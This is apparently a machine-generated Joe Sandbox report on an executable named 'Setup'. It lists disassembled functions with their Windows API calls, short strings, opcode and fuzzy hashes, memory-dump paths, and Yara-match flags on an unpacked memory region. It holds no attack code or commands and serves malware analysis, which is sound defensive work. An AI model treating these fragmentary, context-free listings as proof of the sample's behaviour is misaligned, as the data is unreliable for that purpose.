API ID: Global$MessagePropSendUnlock$AsyncFreeLockRemoveState
String ID:
API String ID: 723318029-0
Opcode ID: d5bcd877240c018a175b1f6a3e4badfd8d8ecf5b620e9224105b37775a545603
Instruction ID: b1246bec3fb234fa771a4e0eef54c87f455ef7eacc0c649b4bd9e8a88a3a159b
Opcode Fuzzy Hash: d5bcd877240c018a175b1f6a3e4badfd8d8ecf5b620e9224105b37775a545603
Instruction Fuzzy Hash: AF218B71301600EFDB253F71ED8CB2A7BA9FF04751F00806BE606A65B0DB70A981CB51

Function 00B77B46 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00B65815,00B64BF3,00000003,?,00000004,00000000,00B64BF3), ref: 00B77B58
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00B77B68
EncodePointer.KERNEL32(00000000,?,00B65815,00B64BF3,00000003,?,00000004,00000000,00B64BF3), ref: 00B77B71
DecodePointer.KERNEL32(00000000,?,?,00B65815,00B64BF3,00000003,?,00000004,00000000,00B64BF3), ref: 00B77B7F
GetLocaleInfoW.KERNEL32(00000000,00000004,?,00000003,?,00B65815,00B64BF3,00000003,?,00000004,00000000,00B64BF3), ref: 00B77BB6

Strings

kernel32.dll, xrefs: 00B77B53
GetLocaleInfoEx, xrefs: 00B77B62

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeHandleInfoLocaleModuleProc
String ID: GetLocaleInfoEx$kernel32.dll
API String ID: 1461536855-1547310189
Opcode ID: 5b09297ad53dc3ca86048bb0de0414a47f0661c139ecf0c60d2cca6c43ac893c
Instruction ID: 44c0cf3810f57e5b370855f043ac6116f9320425ef3ae97ed3afaa6f726c196a
Opcode Fuzzy Hash: 5b09297ad53dc3ca86048bb0de0414a47f0661c139ecf0c60d2cca6c43ac893c
Instruction Fuzzy Hash: C1014B35546255FF8F126FA0ED08EAE3FA9EF087517048062FD19A2230DF31CD659BA1

Function 00B87018 Relevance: 10.6, APIs: 7, Instructions: 132fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B87022
PathIsUNCW.SHLWAPI(?,?,?,00000000), ref: 00B870CD
GetVolumeInformationW.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00B870F1
GetFullPathNameW.KERNEL32(?,00000104,?,?,00000268,00B868FD,?,?,00000000), ref: 00B87055

Part of subcall function 00B86FEB: GetLastError.KERNEL32(?,?,00B87102,?,?), ref: 00B86FF6

Part of subcall function 00B86976: PathStripToRootW.SHLWAPI(00000000), ref: 00B869AA

CharUpperW.USER32(?), ref: 00B8711F
FindFirstFileW.KERNEL32(?,?), ref: 00B87137
FindClose.KERNEL32(00000000), ref: 00B87143

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Path$Find$CharCloseErrorFileFirstFullH_prolog3_InformationLastNameRootStripUpperVolume
String ID:
API String ID: 2323451338-0
Opcode ID: 790ebb02400c5be50b244c0226b7391a184e4cf9620cd56803705c0e98e00e5d
Instruction ID: 071a7489dc5dd48fd5d2cac26bd204b62e0ce4f719018cd4de21d156b2fc765c
Opcode Fuzzy Hash: 790ebb02400c5be50b244c0226b7391a184e4cf9620cd56803705c0e98e00e5d
Instruction Fuzzy Hash: 99416271909115ABDB25BB60CC8EFAEB3ACEF00348F2046D5F419A2161EF35DE81CB61

Function 0146C106 Relevance: 9.1, Strings: 7, Instructions: 395COMMON

Download Yara Rule

Strings

,'(), xrefs: 0146C239
CO, xrefs: 0146C1C1
),ji, xrefs: 0146C429
vD, xrefs: 0146C1B9
0>-$, xrefs: 0146C481
Ct, xrefs: 0146C1B1
}~, xrefs: 0146C2CA

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: ),ji$,'()$0>-$$CO$Ct$vD$}~
API String ID: 0-4291250100
Opcode ID: 96e47d5cc922b6f05cb4d0e68ceb69f7b84bebe50447f9620ba0830f38b6c22a
Instruction ID: 5f3facdda8993c8647fea4e4c713312e1e3fdb07a2c34764fbc800e08a8bdd6e
Opcode Fuzzy Hash: 96e47d5cc922b6f05cb4d0e68ceb69f7b84bebe50447f9620ba0830f38b6c22a
Instruction Fuzzy Hash: 53C1097264C3508BD314DF2888912BFFBD79BD2214F1CCA2DE5D64B3A1D67589068747

Function 00B645F7 Relevance: 9.1, APIs: 6, Instructions: 106threadmemoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 00B64610
__EH_prolog3_GS.LIBCMT ref: 00B64631
GetCurrentThread.KERNEL32 ref: 00B64691
GetCurrentThreadId.KERNEL32 ref: 00B6469A
GetVersionExW.KERNEL32 ref: 00B64736

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CurrentThread$AllocH_prolog3_StringVersion
String ID:
API String ID: 588087217-0
Opcode ID: 47b7d5776fce130807862f17209ec8851b5e0d637f3be70aa919460fd1f5fcf4
Instruction ID: eb4b57a5c8635cc2f4de497b85ac83e569f85253c05a359a81b47cf7dec40d5e
Opcode Fuzzy Hash: 47b7d5776fce130807862f17209ec8851b5e0d637f3be70aa919460fd1f5fcf4
Instruction Fuzzy Hash: 5041E2B0801B158FC7219F2AC98479AFBE4FF09704F508AAEE1AE97610DB74A940CF45

Function 00CBB7D6 Relevance: 7.9, APIs: 5, Instructions: 376timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00CBB858
_free.LIBCMT ref: 00CBB87C
_free.LIBCMT ref: 00CBBA0B
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00D04454), ref: 00CBBA1D
_free.LIBCMT ref: 00CBBBD9

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: 02eb6c048d4df2d934a9dbc42abab848f6474c82cf2b7bbb13cd6479d9aba4dd
Instruction ID: 4c6fde86996fc9305a166252e114c31bf7f40e48c755cf2443391ce3957b54e2
Opcode Fuzzy Hash: 02eb6c048d4df2d934a9dbc42abab848f6474c82cf2b7bbb13cd6479d9aba4dd
Instruction Fuzzy Hash: 23C12571D002059FDB249F68CC91BEEBBBDEF56310F14019AE5A5D7282E7B18E01D790

Function 0146A866 Relevance: 6.6, Strings: 5, Instructions: 361COMMON

Download Yara Rule

Strings

ri{q, xrefs: 0146A920
PTBV, xrefs: 0146A950
WUIT, xrefs: 0146A930
A]CD, xrefs: 0146A938
rQ, xrefs: 0146A988

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: A]CD$PTBV$WUIT$rQ$ri{q
API String ID: 0-116535205
Opcode ID: f98dd477dfb61e9be877b1e2aacb4e7ff30763624fe2eb55bc0338bb7d3336d5
Instruction ID: dbced93d97bc1d281e3b5e60e388191dadb22dc5a587b73067aa6d71a1d06af1
Opcode Fuzzy Hash: f98dd477dfb61e9be877b1e2aacb4e7ff30763624fe2eb55bc0338bb7d3336d5
Instruction Fuzzy Hash: CEA1037060C3D18BD326CF2985A076BFFE1AF93604F1889AEE9D55B352D235850AC763

Function 00BEAEE4 Relevance: 6.5, APIs: 4, Instructions: 499COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BEAEEE
GetObjectW.GDI32(?,00000018,?), ref: 00BEAFC4

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: H_prolog3Object
String ID:
API String ID: 133200376-0
Opcode ID: 33034b6fe5732bbb1046ad24e7dbe3e471ad87b894a5966eb7341a5cf81d9d2a
Instruction ID: 81e64603e8cbe4a09b648f3b6b7334a48fe7cb2ced7749de41ec0380ba1fb208
Opcode Fuzzy Hash: 33034b6fe5732bbb1046ad24e7dbe3e471ad87b894a5966eb7341a5cf81d9d2a
Instruction Fuzzy Hash: 76223871E007599FCB24DFA9C985B9EBBF4FF48300F2085AAD549B7251EB30A9858F50

Function 00B6B089 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,00000000,00000005), ref: 00B6B0BB
LoadResource.KERNEL32(?,00000000), ref: 00B6B0C3
LockResource.KERNEL32(?), ref: 00B6B0D1
FreeResource.KERNEL32(?), ref: 00B6B12A

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 542c675bb20102d0902f2d1e2ae055f40d2d8239f8b39deadf2f15b1db0cdd40
Instruction ID: 390ae4731b2d71d67192d5acdca9a80c5f9b743a27d0d7137f46a9e17ca31dd5
Opcode Fuzzy Hash: 542c675bb20102d0902f2d1e2ae055f40d2d8239f8b39deadf2f15b1db0cdd40
Instruction Fuzzy Hash: 8911BE31901625EBCB208F94C909BAABBF8FF45710F1481A5E804E7294EB789E81D7A0

Function 00B65C23 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

OutputDebugStringA.KERNEL32(IsolationAware function called after IsolationAwareCleanup,00000000,?,00B74D95,00D136B8,00D13698,00000014,00B74FFB,InitCommonControlsEx,00D136B8,00000010,00B73BE5,00000008,00000000,?,00B6EC30), ref: 00B65C37
GetLastError.KERNEL32(00000008,00000000,?,00B74D95,00D136B8,00D13698,00000014,00B74FFB,InitCommonControlsEx,00D136B8,00000010,00B73BE5,00000008,00000000,?,00B6EC30), ref: 00B65C6E

Strings

IsolationAware function called after IsolationAwareCleanup, xrefs: 00B65C32

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: DebugErrorLastOutputString
String ID: IsolationAware function called after IsolationAwareCleanup
API String ID: 4132100945-2690750368
Opcode ID: db377c0e53457d02d4c319b0608e4a8e6308a6d72fa5f69f040df4dadeff3524
Instruction ID: 5ec2b13f520b6e2e4a9fe4b1a7f143c4e7a4aba00d1973af280a01c76f8baeea
Opcode Fuzzy Hash: db377c0e53457d02d4c319b0608e4a8e6308a6d72fa5f69f040df4dadeff3524
Instruction Fuzzy Hash: B4F09635300B615FCB381BD8AD8497E7BD5EB15741F1441BAE902C1260DB28DD71DAA2

Function 00CAC43B Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00CAC533
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00CAC53D
UnhandledExceptionFilter.KERNEL32(-00000328), ref: 00CAC54A

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ea9e1711b43d32e983e1ff4882f15192cdbb910b03d4ebf969a49250ed7979bc
Instruction ID: 71e27553c982d13098bc6534578b6699359ea285c611f30b81702535998820be
Opcode Fuzzy Hash: ea9e1711b43d32e983e1ff4882f15192cdbb910b03d4ebf969a49250ed7979bc
Instruction Fuzzy Hash: 4031D374D0222D9BCB21DF64D8897DCBBB8BF09710F5041EAE81CA7251EB309B858F45

Function 00CB8843 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00CB8842,?,00000000,?,?,?,00CAE60A), ref: 00CB8865
TerminateProcess.KERNEL32(00000000,?,00CB8842,?,00000000,?,?,?,00CAE60A), ref: 00CB886C
ExitProcess.KERNEL32 ref: 00CB887E

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 30b9cb43d6843a91bcbb40a0f5bbb45b59184d4767d3099169a214ea53acf287
Instruction ID: 6b8382175693a3c5573817f7598523898ee26a32ac326d4ecfd3f78bb2c14fa7
Opcode Fuzzy Hash: 30b9cb43d6843a91bcbb40a0f5bbb45b59184d4767d3099169a214ea53acf287
Instruction Fuzzy Hash: 6AE0B631501149ABCF126F64DD09B9D3B7DEB91342F804525F8068A172CF36DE82DB41

Function 01498016 Relevance: 4.2, Strings: 3, Instructions: 497COMMON

Download Yara Rule

Strings

3210, xrefs: 01498200, 014984E6
3210, xrefs: 0149808E
3210, xrefs: 0149823D

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: 3210$3210$3210
API String ID: 0-1274481446
Opcode ID: 6d2e7c9d1b22d19650c067387a6b0a0e06846566233bf633d43fbbd9bcdc91b4
Instruction ID: 3af55439ed80ac96cc18438cb3c5709dc15e66388a9b8f957bd37b418e2eb656
Opcode Fuzzy Hash: 6d2e7c9d1b22d19650c067387a6b0a0e06846566233bf633d43fbbd9bcdc91b4
Instruction Fuzzy Hash: 02D137356083065FEB14DB29C980A7FBFE2EBD6310F14853EE594673A1E774D8068B92

Function 00CB50E0 Relevance: 3.5, APIs: 2, Instructions: 452COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73f6eaa1497db1a258c74caba2efff6fc9e24a3724c6eb242fb44ad922a5e255
Instruction ID: 9a8f8a3acf496aefe11f01ce564d3a39a8f32cae1b95edc04779f33b8ee061be
Opcode Fuzzy Hash: 73f6eaa1497db1a258c74caba2efff6fc9e24a3724c6eb242fb44ad922a5e255
Instruction Fuzzy Hash: 55021A71E016199FDF14CFA8C8807EEBBB1EF88314F158269D929AB344D731AE45CB90

Function 01466336 Relevance: 3.3, Strings: 2, Instructions: 824COMMON

Download Yara Rule

Strings

8, xrefs: 01466C96
0, xrefs: 01466C9E

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: b07c4a9a362ba19b0f73d827bd19fb8b58909bd8e543e8fdd276b9da62029e59
Instruction ID: d706bb6ddf404f5ab5c4690741d3e6c541d0f2c4f7f70b610078156bdf311043
Opcode Fuzzy Hash: b07c4a9a362ba19b0f73d827bd19fb8b58909bd8e543e8fdd276b9da62029e59
Instruction Fuzzy Hash: 557237716083409FD714CF19C880BABBBE5AF94318F05892EF999873A2D375D958CB93

Function 00B8DAFA Relevance: 3.0, APIs: 2, Instructions: 36windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00B8DB0C
IsIconic.USER32(?), ref: 00B8DB1E

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
